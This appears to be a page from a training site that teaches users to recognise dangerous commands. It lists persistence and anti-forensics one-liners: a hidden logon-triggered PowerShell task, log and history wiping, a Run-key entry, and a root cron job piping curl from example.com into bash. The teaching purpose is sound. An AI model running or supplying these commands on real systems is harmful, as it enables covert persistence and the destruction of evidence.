Dangerous
Register-ScheduledTask -TaskName 'SystemCheck' -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Action (New-ScheduledTaskAction -Execute 'pwsh.exe' -Argument '-w hidden -f C:\Users\Public\s.ps1')windows · powershell · Expert
Registers a task with an official-sounding name that runs a hidden PowerShell window at every logon, from a script in a world-writable…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert